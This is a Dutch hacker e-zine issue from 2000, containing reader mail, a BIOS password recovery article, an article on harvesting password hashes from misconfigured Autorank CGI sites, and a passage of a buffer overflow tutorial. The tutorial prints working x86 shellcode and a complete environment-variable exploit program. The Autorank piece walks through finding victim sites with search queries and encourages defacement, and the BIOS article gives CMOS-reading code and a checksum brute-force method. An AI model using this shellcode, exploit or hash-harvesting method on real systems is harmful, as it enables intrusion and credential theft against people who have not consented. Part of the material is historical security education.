Copy Link
Add to Bookmark
Report
Hackers 4 Hackers #6
Hackers 4 Hackers Issue 6, released on 19-02-2000
___ ___ _____ ___ ___
/ | \ / | | / | \
/ ~ \/ | |_/ ~ \
\ Y / ^ /\ Y /
\___|_ /\____ | \___|_ /
\/ |__| \/
+-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+
|h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |0|6|
+-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+
http://www.hackers4hackers.org
'19-02-2000', Momenteel 712 lezers.
Om je aan te melden bij de maillijst kan je een mailtje sturen
naar subscribe@hackers4hackers.org met als titel "subscribe h4h
emailadres"
Of je kan je online aanmelden op http://www.hackers4hackers.org
Artikelen en dergelijke kun je mailen naar post@hackers4hackers.org
Vragen kun je mailen naar de desbetreffende auteur of ook naar
post@hackers4hackers.org
Enkele interessante sites:
http://itris.eu.org
http://www.dutchthreat.org
http://www.security.nl
http://www.hit2000.org
http://hier.is/Triples
http://www.casema.net/~gin
http://www.whatis.com
http://viper.dmrt.com
http://viper.dmrt.com/usr
Leuke kanaaltjes op IRCnet:
#hit2000
#coders.nl
#h4h
01. Disclaimer............................................... (Redactie)
02. Inleiding................................................ (Redactie)
03. Lezerspost............................................... (Redactie)
04. Binnendringen van een Award bios......................... (PiepPiep)
05. Autorank................................................. (Sundevil)
06. Bufferoverflows: 'da guide' - deel 2..................... (Dvorak)
07. TCP/IP Voor newbies...................................... (Zym0t1c)
08. Evenementen.............................................. (Redactie)
09. Stoplichten.............................................. (Cobus)
10. Inleiding tot firewalls.................................. (Zym0t1c)
11. Programmeren in C........................................ (Tozz)
12. Wetsvoorstel Computercriminaliteit II *nogmaals.......... (Gerrie)
13. Eindwoord................................................ (Redactie)
-------------------------------------------------------
01. Disclaimer
-------------------------------------------------------
We zijn niet verantwoordelijk voor datgene wat jullie met deze
informatie doen. Deze informatie dient alleen voor educationele
doeleinden. Als je in problemen komt, kan je ons niks verwijten.
Gebruik maken van deze informatie kan strafbaar zijn. Meningen
van auteurs hoeven niet hetzelfde te zijn als die van de
redactie.
-------------------------------------------------------
02. Inleiding
-------------------------------------------------------
Sinds kort heeft Hackers4Hackers een eigen domein naam :
http://www.hackers4hackers.org hier kun je voortaan terecht
voor het lezen van ons blad.
Ook gaan we op 4 maart een meeting organiseren in Arnhem.
Meer informatie hierover vind je op onze pagina.
http://www.hackers4hackers.org/h4h-meeting/
De beruchte millennium bug is uit gebleven en we zijn gelukkig
geen delen kwijt geraakt ;). Gerrie had op 2 dagen na het
verschijnen van h4h-5 zijn artikel over het wetsvoorstel
Computercriminaliteit II af en deze krijgen jullie dus alsnog
van ons.
H4H heeft nu ook een kanaal geopend op IRCnet. Het heet dan ook
natuurlijk #h4h. Iedereen is welkom om vragen te stellen of
gewoon gezellig te ouwehoeren.
Ook nieuw op onze site is de poll, Hier kan je jouw mening geven
over een onderwerp dat ter discussie komt in het blad. We zullen
hier regelmatig nieuwe poll's op gaan zetten.
Ook is er een nieuw email adres voor de lezers post :
post@hackers4hackers.org, Deze gaan we de volgende keer ook anders
doen... Iets minder onzin berichten.
We wensen iedereen veel leesplezier toe en mochten er op of
aanmerkingen zijn, surf dan even naar onze website en vul het
in bij commentaar.
De redactie
-------------------------------------------------------
03. Lezerspost
-------------------------------------------------------
Hallo hacker
[Meneer de hacker voor jou..]
Mag ik je een vraag stellen als beginnende Internetter.
[Tuurlijk altijd]
Ik heb met veel aandacht jullie pagina's over chatten gelezen.
Ik lees regelmatig over hackers en hoe deze zelfs de controle
van je computer kunnen overnemen. Loop je via chatten of ICQ
gevaar om gehackt te worden?
[ICQ is geen chat programma maar een trojaan
dat houd in dat je daar dus mee gevaar loopt ja]
Vriendelijke groeten
Kris De Jonghe
[Ook de groete thuis !]
---------------------
Ik krijg nooit mailtjes van "Ha, er is een nieuwe H4H uit!!" ofzo...
[Als je je aanmeld op de mailing list krijg je de nieuwe h4h zo in je
mailboxje.]
gr. Taylan
---------------------
Asby,
[Helaas, Bermuda dit keer...]
Gij moet mij helpen ! ! ! Ik heb weer eens een probleem, ik
hackte overlaatst een pc en dat gastje hackte mij toch wel
terug zeker,
[Dus jij was dat !]
godverdjui, ik geeft het toe, ik had de veiligheidsregels in
acht moeten nemen volgens het boekje.
[Dom Dom Dom.]
Nu zou ik naar hem een virus willen mailen als attachement.
[Gelijk doen !, Bo of Netbus hebben ?]
Maar daar heb je het probleem, ik kan geen virussen maken, ik
kan niet programmeren!
[Wist je dat de meeste programmeurs nog geen virus
kunnen maken !]
Heb jij er toevallig eentje liggen ?
[Ja... Ergens in de hoek van de kamer onder het stof]
Mail het mij nikeer. Zet er ook bij hoe ik het kan activeren op
een word (doc) bestand.
[Nikeer heb ik niet, Zal wel een handleiding typen in word.]
Doei,
Daan Van de Peppel
[Dag, dag]
PS: liefst vlug ik kan dat ventje niet uitstaan.
[Als je hem niet uit kan staan moet je zeker vlug zijn]
PS2: het virus moet wel de pc geheel formatten !
[Die optie is alleen in de GOLD versie beschikbaar]
------------------------
Was ik vergeten vragen:
[Goed dat je er nog aan denkt]
Wanner komt de nieuwen van H4H uit ?
[Zodra hij uit komt]
--------------------------
Vraagje :
[Vraag maar raak]
werkt die wwwhack van jouw nog?
[wwwhack ?]
zo ja stuurt m dan maar a.u.b?
[Volgens mij heb je de verkeerde voor je]
--------------------------
Subject: creditcardgenerator voor xxx-sites
[Heh ? Vaag z'n subject zou hem bijna in mijn spam vakje
gooien]
waar kan je deze verkrijgen
[Ik denk dat je creditcard nummer bedoelt... Generator is
z'n ding dat stroom op wekt, dat nummer kan je bij de
bank op de hoek halen]
vr.gr. mart
---------------------
Hoi Asby,
[Zucht, Berry dit keer !]
Toevallig kwam ik deze site tegen bij het zoeken van mailbomprogrammatjes.
[Ehhh shit... Staan dus weer verkeerde dingen in de zoek pagina's]
Nou heb ik aan jou een vraag. Heb jij toevallig voor mij een tof
mailbomprogrammatje waarmee ik anoniem zo'n 500 mailtjes kan sturen
(meer mag ook natuurlijk) ?
[Ik heb meestal een hekel aan dat soort programma's maar goed
probeer je provider eens te mailen die hebben vaak van dat
soort programma's klaar staan op hun ftp site. Je moet dus alleen
even vragen naar de url]
Zou tof wezen.
[altijd]
Ik heb ook nog geprobeerd een hotmailaccount te hacken. Met dat
http://207.82.250.251/cgi-bin/start/naam weet je wel?
Dat werkt jammergenoeg niet. Want ik heb het bij mezelf ook uitgeprobeerd!
[Ja wel shit... Echt jammer dat dat niet lukte]
Nou ik hoor hoop ik wel wat van je
[Dacht het niet]
Appie
[flappie, Flappie !!! (waar hang dat konijn toch uit)]
http://welcome.to/appie
[Ah daar ben je... Was je al sinds kerst kweid !]
-------------------------
beste asby
[Hoevaak moet ik het nog zeggen, Ach laat maar.]
ik snap er nog steed niets van ik heb nu subseven
[De wereld is complex]
en daar kan ik wel in iemands computer komen
[Heb je ook de matrix gezien, Misschien dat het dan wat duidelijker
voor je wordt]
maar iedereen zegt dat het een trojan ofzo is
[mijn virus scanner zecht dat ook altijd]
omdat jij zo veel weet over hacken wil ik dat jij mij helpt met hacken
[Ik ben best duur per uur ik weet niet of je dat van
je zakgeld kunt betalen]
kelvina
[Het is een meisje !]
----------------
hoi
[Ook hoi]
ik heb een vraagie ik heb alles gelezen van je web-page maar
toch nog een vraagie.
[Vraag maar raak]
hier is ie:
[Ja, Ja, Jaaa, Jaaaa !]
"als ik nu dat IP adres van die pc heb dan wil ik op die pc
maar waar moet ik dat invullen dan om erop te komen???
[IP versie 4 of 6 ?]
ik hoop dat ik snel antwoord krijg.
[Snel genoeg ?]
Benny
----------------
Hallo mijn vriend,
[Gho wat heb ik toch een boel vrienden ineens]
Ik wil graag de hotmail pasword van iemand weten. Kunt u mij helpen?
[Ik ook wel eens]
Als u mij kan helpen dan kan ik je wel belonen.
[In natura of cash ?]
Ik hoop dat jij mij terug schrijft,
[Nop, zet het wel in h4h ofzo]
Tot ziens
[daaag]
----------------
Kan je mij misschien vertellen hoe ik een cd met kopieerbeveiliging
toch kan kopieren.
[Moet je een bakje met olie pakken, Naaimaschine olie is
het beste maar het kan ook met kruip olie. Je legt de cd
dan in dat bakje doet er een velletje carbon papier op
daarop leg je een lege cd en doet dit alles 3 minuten
in de magnetron]
alvast bedankt
[Graag gedaan]
INTERPAT :))
------------------
HAAI.
[Waar ?]
Hoe krijg je een starters account op een internet dat je wil defacen?
[starters, een internet... ehhh ik wordt te oud hier voor..]
Of kan je ook defacen zonder een starters account. (Zonder de phf
exploit of de andere standaart exploits?)
[Vast wel]
MiRaCLe_MaN
[Een wonder kind zeker ?]
-----------------
yoep,
[Bermuda was mij naam ja.]
Ik zit met een probleemke ik heb een lief en die zit altijd
te maile mee ne vriend van mij.en ik zou graag is in die
hare mailbox zien.ik heb al vanalles geprobeert ma da lukt
nie.die heeft een adres op hotmail.kunde gij mij helpen.
[Voor liefdes problemen verwijs ik je graag door naar
de libele online]
pieter
-------------------
Beste Asby,
[Mis poes !]
Gefeliciteerd met de fantastische site!
[Dank ook namens asby]
Ik heb een vraagje:
Ik ben een absolute newbie op het gebied van hacken en ik ben
op zoek naar een versie van netbus,
[Snif]
maar dan verpakt in een spelletje ofzo zodat het niet opvalt
wanneer mensen het aannemen.
[Huil]
Ik bedoel er niets verkeerds mee,
[Jank]
ik wil alleen ene grapje met mijn vriendin uithalen en zelf wat
nuttige oefening krijgen.
[Tuurlijk]
Weet jij waar ik dit kan vinden of beter nog zou je het kunnen
mailen naar mij?
[Nee]
Hartelijk bedankt en ik heb de site gebookmarked.
[Ik dank U, En nu niet te veel verkeer generen]
Groeten,
Oscar.
------------------
Geachte heer,
[O wat voel ik me oud !]
Een klein vraagje: Als je bv met het prog sub7 hackt, hab je
eerst een IP nodig, en dan het poortnummer.Dan ga je verbinding
maken en soms vraagt ie om een pswoord,>>> hoe com ik daar achter?
[probeer eens 127.0.0.1 en dan alle poorten tussen 0 en 9999999 en dat
password is jouw eigen psw. Anders zou iemand zomaar met dat progje
kunnen spelen zonder dat jij dat weet]
------------------
Yo,
[Hi]
Wat is op dit moment nog een werkende manier om een hotmailpassword te
kraken...vroeger lukte het nog via een java appletje, nu wil dat al niet
meer.
[Ik zou het niet weten, Probeer eens om een boze brief naar hotmail
te sturen met daarin een klacht dat je niet meer je mail kan uitlezen
met dat appeltje van je]
als je me verder kan informeren over deze kwestie..-graag-..
[Nop]
Cya
RlR
-------------------
Hallo,
Kan je mischien Oscar via email verzenden?
[Zucht]
Op die site waar die zou moeten staan bestaat helemaal niet.
[Een oscar, Die krijg je ook alleen maar te zien als je een goede
film gemaakt hebt toch ?]
Gijs
-------------------
Beste Asby,
[Berry dit keer.]
Nergens kan ik het prog. Back Orifice meer vinden op internet. Zou je mij
een exemplaartje willen toe-mailen??
[oke start jij den even patch.exe van netbus ?]
In iedergeval bedankt!
[graag gedaan]
Egbert
-------------------
Oke ik weet dat dit vast belagelijk gaat klinken maar ik wil dus leren hacken.
[Dat willen wel meer mensen die dit blad lezen]
Mijn vraag is alleen HOE LEER JE ZOIETS! tot nu toe snap ik er dus
geen kont van!!!!!!!!
[Vooral doorlezen, Vooral doorlezen]
--------------------
Yo,
[ook hoi]
ik heb het password en ik kan inloggen als beheerder op het
netwerk bij mij op school?
[Gho leuk voor je]Zou het nu ook mogelijk zijn om de website van de school te kraken ?
[Als die niet bij een internet provider staat wel ja.]
En hoe zou ik mij het beste beveiligen zodat ik niet gepakt kan worden??
[Een bivak muts opzetten !]
Cay's
---------------------
Hoe hack je nou precies?
[Dat is een lang verhaal]
Moet je daar een programma voor hebben en waar kan ik die krijgen?
[Nee je moet hersens hebben, en die kon je bij je geboorte krijgen]
---------------------
Hallo Asby,
[Voor de laatste keer, Bermuda]
Even een onbelangrijk vraagje (voor de verandering).
Pfjew. Eindelijk, Iedereen vind hotmail vragen enzo belangrijk en het
moet allemaal vlug, vlug, vlug... Eindelijk een mailtje wat ik op me
gemak kan beantwoorden]
Sturen lezers jou alleen maar domme vragen of behandel je de goede vragen
gewoon niet in je uitgaves?
[Nou de goede vragen die komen meestal in de niewsgroep, Wij vangen hier
eerst alle onzin af]
Ik vind trouwens wel dat je die vragen met een gepaste portie relativerende
humor en een ongelofelijke scheut geduld beantwoord.
[Tuurlijk anders is het voor de lezers ook niet leuk om alles te lezen]
Daarvoor mijn zeer wel gemeende complimenten :p
[Ik dank u er voor, En u ziet dat er dus ook andere vragen dan onzin in
de lezerspost komen ;)]
-------------------
bij het hacken moet je een paar talen kennen zoals (Python, C, Perl en
LISP) waar kan ik die vinden??????????????
[In de supermarkt, maar ze verkopen ze tegenwoordig ook al bij gamma]
-----------
Hey! ik heb een vraag die u/je denk ik niet beantwoord maar ik probeer het toch!
[Verwonder u en zie dat ik uw vraag behandel]
Ik wil graag weten hoe ik moet hacken. Kunt u me aub informatie geven?
[http://www.hackers4hackers.org , Dan bij Archief kijken !
Niet door vertellen hoor !]
ik wil alleen maar leren hacken om bij vrienden in hun pc's te komen en
dan mijn nickname achter laten. Alvast bedankt!
[Lekkere vriend ben jij dan]
Uw site is wel relaxt! (en dit is niet om te slijmen)
[Ik voel me gevleid]
----------
Waar kan ik info vinden over butman.
[in de achtertuin bij uw buren]
En hoe kan ik het gebruiken
[in de struiken tegen de brandnetels als uw buurman u betrapt]
----------
[Zo dit was de lezerspost weer voor dit deel.
in de volgende delen van h4h willen we alleen nog sereuze
mailtjes gaan behandelen. Je kunt deze sturen naar
post@hackers4hackers.org]
-------------------------------------------------------
04. Binnendringen van een Award bios
-------------------------------------------------------
Hallo iedereen.
Zoals de meeste waarschijnlijk al weten kan je in een award bios met password
daarop binnenkomen met als password AWARD_SW en soms SW_AWARD. Op sommige
award biossen werkt dit echter niet.
Nou zou het leuk zijn om toch in deze biossen te kunnen komen. Dit kan
meestal op een heel makkelijke manier door een jumper te setten op het
moederbord of door de cmos data te overschrijven.
In beide gevallen zal de systeembeheerder erachter komen en het password
waarschijnlijk veranderen.
Leuker is dus om het password te achterhalen zodat de systeembeheerder
er waarschijnlijk niet zo snel achter komt dat er iemand in het bios kan.
Nu is het zo dat in de cmos data van de computer het password staat.
Dit is zeer waarschijnlijk niet het originele password maar eerder een
uitkomst van een formule op het echte password.
Ik zal nu laten zien hoe we in het bios kunnen komen zonder de jumper te
setten of iets te overschrijven.
Als eerste heb ik een klein programmaatje gemaakt in C dat de cmos data
kan uitlezen. De cmos data is een klein stukje geheugen van 128 bytes.
Om dit uit te lezen moet je eerst naar io-port 0x70 het adres schrijven
van de byte die je wilt lezen of schrijven. Hierna kan je io-port 0x71
lezen om te weten wat er staat, of schrijven om de waarde te veranderen.
Mijn programmaatje doet dit voor adressen 0 t/m 127 en zet deze
hexadecimaal op het scherm.
Vervolgens ga ik in mijn bios het password veranderen naar een enkele a.
Als ik nu mijn programma start geeft het de volgende output :
31 00 04 50 02 17 05 27 12 99 26 02 50 80 00 00
40 c2 f0 f1 0f 80 02 c0 ff 2e 2f 30 61 00 00 00
00 ff ff ff ff 00 13 ce 10 ff ff 12 ce 3f 0e 2b
c0 ff 19 80 86 0d 37 0e 9c 00 10 0b 90 d1 ea 11
af f7 df ff 5f 7c 01 ff 19 1d 62 c5 80 08 3d 30
6c 00 00 35 01 01 11 32 00 11 59 49 0b 90 bf 03
f7 41 df 17 3a ff ff 00 00 00 00 00 00 00 ff 00
2f 00 00 00 ff ff ff ff 00 df 0f b7 01 60 06 ff
Hierna verander ik mijn password naar een enkele b en run het programma
weer. De output is nu dit :
58 00 05 50 02 17 05 27 12 99 26 02 50 80 00 00
40 c2 f0 f1 0f 80 02 c0 ff 2e 2f 30 62 00 00 00
00 ff ff ff ff 00 13 ce 10 ff ff 12 ce 3f 0e 2c
c0 ff 19 80 86 0d 37 0e 9c 00 10 0b 90 d1 ea 11
af f7 df ff 5f 7c 01 ff 19 1d 62 c5 80 08 3d 30
6c 00 00 35 01 01 11 32 00 11 59 49 0b 90 bf 03
f7 41 df 17 3a ff ff 00 00 00 00 00 00 00 ff 00
2f 00 00 00 ff ff ff ff 00 df 0f b7 01 60 06 ff
We zien nu dat de bytes op offsets 0, 2 en 0x1C zijn verandert.
Als we in een stukje documentatie over het cmos geheugen lezen zien we
daar dat offset 0 en 2 de tijd zijn.
Nu weten we dus dat het password op offset 0x1C staat.
We veranderen het password nog eens in aa, ab en ba.
Nu zien we dat niet alleen 0x1C verandert maar ook 0x1D. We maken even
een tabelletje en zetten de waarden erin die we nu hebben.
password | 0x1C | 0x1D | word
---------+------+------+-------
a | 0x61 | 0x00 | 0x0061
b | 0x62 | 0x00 | 0x0062
aa | 0xE5 | 0x01 | 0x01E5
ab | 0xE6 | 0x01 | 0x01E6
ba | 0xE9 | 0x01 | 0x01E9
Als we 0x1C en 0x1D als word zouden uitlezen krijgen we de laatste kolom.
Nu pakken we een ascii boekje erbij en we zien dat de letter a de waarde
0x61 heeft en de letter b de waarde 0x62.
Dat is makkelijk, als het password 1 letter lang is, dan is de waarde in
het cmos dus gewoon de ascii waarde van die letter.
Nu nog als er meerdere letters in het password zitten.
We trekken om te beginnen de waarde van de letter die we als laatste in
het password hebben eraf. We krijgen nu dit :
aa => 0x01E5 - 0x61 = 0x0184
ab => 0x01E6 - 0x62 = 0x0184
ba => 0x01E9 - 0x61 = 0x0188
We zien dat dit de waarden zijn van de eerste letter maal 4.
Dit is makkelijk !!
Waarschijnlijk is het hele algoritme iets van dit :
zet controle word op 0
lees een letter in
do zolang de letter geen enter is
vermenigvuldig controle word met 4
tel de letter erbij op
lees een nieuwe letter in
controle word is berekend
Dit gaan we testen met het password PiepPiep
De ascii waarden zijn 2 keer de reeks " 0x50 0x69 0x65 0x70 "
We beginnen met controle waarde 0
We vermenigvuldigen het met 4 en krijgen 0
We tellen 0x50 voor de P erbij op en krijgen 0x0050
We vermenigvuldigen het met 4 en krijgen 0x0140
We tellen 0x69 voor de i erbij op en krijgen 0x01A9
We vermenigvuldigen het met 4 en krijgen 0x06A4
We tellen 0x65 voor de e erbij op en krijgen 0x0709
We vermenigvuldigen het met 4 en krijgen 0x1C24
We tellen 0x70 voor de p erbij op en krijgen 0x1C94
We vermenigvuldigen het met 4 en krijgen 0x7250
We tellen 0x50 voor de P erbij op en krijgen 0x72A0
We vermenigvuldigen het met 4 en krijgen 0x1CA80
We tellen 0x69 voor de i erbij op en krijgen 0x1CAE9
We vermenigvuldigen het met 4 en krijgen 0x72BA4
We tellen 0x65 voor de e erbij op en krijgen 0x72C09
We vermenigvuldigen het met 4 en krijgen 0x1CB024
We tellen 0x70 voor de p erbij op en krijgen 0x1CB094
De waarde die we nu hebben is te lang. Dus delen we het op in losse
worden en tellen we deze bij elkaar op.
0x001C + 0xB094 = 0xB0B0
We veranderen snel het password in het bios en kijken wat er voor waarde
instaat. En ja hoor, er staat netjes 0xB0B0.
Tot nu toe kunnen we dus kijken wat de controle waarde is die bij een
password hoort. Wat we nu nog willen is een password vinden bij een
controle waarde die we ergens 'vinden'. Bv met ons zelf gemaakt proggie
om de cmos data uit te lezen. Dit gaan we doen met een bruteforce aanval
met het volgende algoritme :
doe zolang geen goed password gevonden is
maak de string leeg
doe 8 keer
voeg een willekeurig teken toe aan de string
zolang de string een controle waarde geeft die niet goed is
druk de string af op het scherm
Het programma om het eerste deel te doen is als volgt :
#include <dos.h>
#include <math.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream.h>
void main()
{
int teller, waarde;
cout << hex;
for (teller=0; teller<128; teller++)
{
outp(0x70, teller);
waarde=inp(0x71);
if (waarde<16)
cout << "0";
cout << waarde << " ";
if ((teller&0xF)==0xF)
cout << endl;
}
cout << endl;
}
Opslaan als <naam>.cpp en compilen met borland 4.5, dan werkt het zeker.
Onder andere compilers of anders OS'en weet ik niet hoe het moet.
Het 2e programma is een keer omgekomen in een hdd-crash. Ja, dit programma
eigenlijk ook maar die kon ik wel ff opnieuw maken.
Een beetje coder kan het 2e programma echter zo zelf maken met deze
info, als het goed is. Heel misschien dat ik het ooit zelf nog eens
ga maken. Weinig kans eigenlijk :)
Verder ben ik wel eens bezig geweest met hetzelfde maar dan voor een
ami bios. Het leek hier of niet de ascii waarden werden gebruikt voor
de controle waarde, maar meer de scancodes van de toetsen. Hoe het
echter verder ging heb ik nog niet kunnen ontdekken. Misschien ga ik
het nog wel een keer proberen als ik tijd heb. Weinig kans denk ik :)
Ik heb trouwens weleens proggies gezien die het voor een ami moesten
kunnen, maar deze werkten niet op mijn p90 met ami.
Het lijkt me best leuk om het nog wel een keer te weten hoe het met
ami zit. Als iemand hier iets over weet zou ik het dus wel cool vinden
om hier een mailtje over te krijgen.
Mijn emailadres : nl0jbl@hotmail.com
PiepPiep
-------------------------------------------------------
05. Autorank
-------------------------------------------------------
Autorank is een cgi script dat wordt gebruikt om zg. topsites te maken.
Er zijn twee versies verkrijgbaar: Autorank en Autorank Pro.
De eerste is vrij verkrijgbaar en de tweede kost $65.00. Ze zijn allebei
verkrijgbaar op http://www.cgi-works.net. Dit is op zich niet zo
opzienbarend ware het niet dat de meeste mensen niet weten hoe ze hun
directories moeten beschermen als ze iets installeren en DAAR gaat
dit artikel over.
De mens is van nature lui en gebruikt vaak dezelfde wachtwoorden voor
verschillende zaken. Hier gaan we gebruik van maken. Zou het niet
leuk zijn om alle wachtwoorden die mensen gebruiken in een top100
te kunnen zien ? Geheid dat 20% hiervan hetzelfde wachtwoord heeft
ingetikt als ze daadwerkelijk gebruiken om in te loggen op hun eigen
site.
Autorank slaat alle informatie van een 'member' op in een file in een
member-directory. Stap 1 is dus om uit te vinden waar die
member-directory zich bevind en omdat je er waarschijnlijk geen
filescan rechten hebt hoe de member-file heet.
Allereest gaan we uitzoekn waar de member-directory zich bevind.
Autorank heeft een html interface om het script en de top-site te
onderhouden. Dit gaat via het setup.cgi script. Als je dit script
runt geeft het een absoluut pad aan naar de member-directory. Waar
staat dit setup.cgi script dan ? Dat kun je uitvinden op de volgende
manier: ga naar de top-site en kopieer een van de links die in de
top-list staan. Dit zal er ongeveer als volgt uitzien:
http://www.foobar.nl/cgi-bin/top50/out.cgi?rosanne,
dit geeft ons een pad naar waar de cgi scriptys zich bevinden.
Pasteer deze link in je adresbar en vervang het laaste gedeelte voor
'setup.cgi'. Het resultaat zal er als volgt uitzien:
http://www.foorbar.nl/cgi-bin/top50/setup.cgi. Nu zie je de html
interface om het script te onderhouden. Hier kun je de 'member data
directory uitlezen', dit zal er ongeveer uitzien als:
/opt/usr/foobar/domain/cgi-bin/top50/members/ Dit resulteert dus in
een member-directory van: http://www.foobar.nl/cgi-bin/top50/members/
Dat was stap 1, nu stap 2, het uitvinden van de member-file naam.
Dit is net zo eenvoudig als stap 1.
Ga naar de top-site en kopieer een van de links die in de top-list staan.
Pak hiervan de memberID, dat is het gedeelte dat NA out.cgi? komt.
In ons voorbeeld dus 'rosanne'. Zo heeft elke member een eigen memberID.
Autorank slaat de member informatie op in een file die dezelfde naam
krijgt + .mbr ie. 'rosanne.mbr'. Goed, we weten de directory en de
filenaam. Laten we die maar eens oproepen.
http://www.foobar.nl/cgi-bin/top50/members/rosanne.mbr
KATAVLAM!
184|46|3138|0|http://www.nogeenfoobar.nl//|Rosanne's page|Dit is mijn hompage,
kom eens langs om te kijken.|rosanne@nogeenfoobar.nl|
http://www.nogeenfoobar.nl/images/banner.gif|aaU4pgg7wTyQU|
Deze file is als volgt opgebouwd: Allereerst de status van de member ie.
hoeveel hits ze heeft gekregen, op welke plaats ze in de top staat hoevaak
erop is geklikt etc. Dan volgt de link van de homepage, de beschrijving
en een eventuele link naar een banner. En als laatste..........het
geencrypte wachtwoord :)
Let op! Dit is het wachtwoord dat de member heeft ingevuld bij het
aanmelden op de top-site en hoeft niet haar eigen wachtwoord te zijn!
Maar zoals ik al zei: de mens is lui, en admins zijn de luiste mensen
van allemaal.
Bovenstaande lijkt allemaal veel werk, maar het is zeer eenvoudig om
even een programmatje te schrijven die alle membernamen opzoekt, de
files ophaald, en de informatie in een file schrijft die je direct
aan je favoriete password cracker kunt voeren. Vrees niet, ook dit
heb ik al gedaan en meegstuurd, kijk de members van H4H maar eens lief
aan. Hij is traag en buggy, maar werkt redelijk ok over het algemeen :)
Nu als klap op de vuurpijl:
http://www.altavista.com/cgi-bin/query?pg=q&sc=on&q=%22powered+by+
autorank%22&kl=XX&stype=stext
http://www.altavista.com/cgi-bin/query?sc=on&q=%2Burl%3Aautorank&kl=XX&pg=q
Uiteraard werkt bovenstaande verhaal alleen als de rights op de directories
fout zijn neergezet, maar de makers van autorank zijn zo vriendelijk geweest
om in de bijhorende readme de nodige rights neer te zetten die het script
open laten.
Er zijn natuurlijk nog veel meer van deze scripts te vinden met hun eigen
exploitabilities, maar ik kan niet alles voor gaan kauwen. (tip: kijk een
s naar het script van TopSitesPro)
Aw,...mocht je gaan d-facen: een shout naar mij zou erg aardig zijn.
_Sundevil (flierps@hotmail.com)
[autorank.zip die bij dit artikel hoort is terug te vinden op
http://www.hackers4hackers.org/filez.htm]
-------------------------------------------------------
06. Bufferoverflows: 'da guide' - deel 2
-------------------------------------------------------
[Redactie: Dit artikel was oorspronkelijk twee keer zo lang, maar omdat het
artikel dan groter zou worden dan H4H zelf hebben we het op een mooi punt
door twee-en geknipt. Dus in de vorige H4H kan je deel 1 terug vinden.]
Kleine Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~~
Er zijn voorbeelden van bugs waarbij de buffer die je probeert te
overflowen te klein is om de shellcode te bevatten of dat de shellcode het
return adres overschrijft ipv dat dit wordt gezet naar het begin van de
buffer of dat het aantal NOPS dat je aan het begin van de buffer kan plaatsen
te klein is om een redelijk kans te hebben op succes. Om deze bugs te exploiten
is een andere manier nodig. Een van die manieren is om de shellcode in het
environment van het programma te plaatsen, en is dus alleen nuttig als je het
environment kan wijzigen. De shellcode staat dan in het geheugen en we
overflowen de buffer met enkel het return adres. Een tweede voordeel is dat
je de groote van de environment variabele kan aanpassen en dus een zeer
grote hoeveelheid NOP's kan plaatsen.
De environment variabelen worden opgeslagen aan de top van de stack
(zoals eerder besproken). wijzigen in deze variabelen met setenv worden
dan op een andere plaats bewaard.
Het nieuwe exploit heeft een extra variable, de groote van de variabele
die de shellcode en de nops bevat. Ook stopt hij niet langer shellcode en
return adressen in een(1) variabele.
exploit4.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
Een test met ons vulnerable programma levert het volgende op:
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
Werkt perfect.
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ Warning: some arguments in previous message were lost
$"
In een keer. Onze kansen zijn zeker toegenomen. Afhankelijk van de
hoeveelheid environment variabelen moet de offset laag of hoog zijn.
Probeer dus zowel positieve als negatieve offsets.
Remote buffer overflows
~~~~~~~~~~~~~~~~~~~~~~~
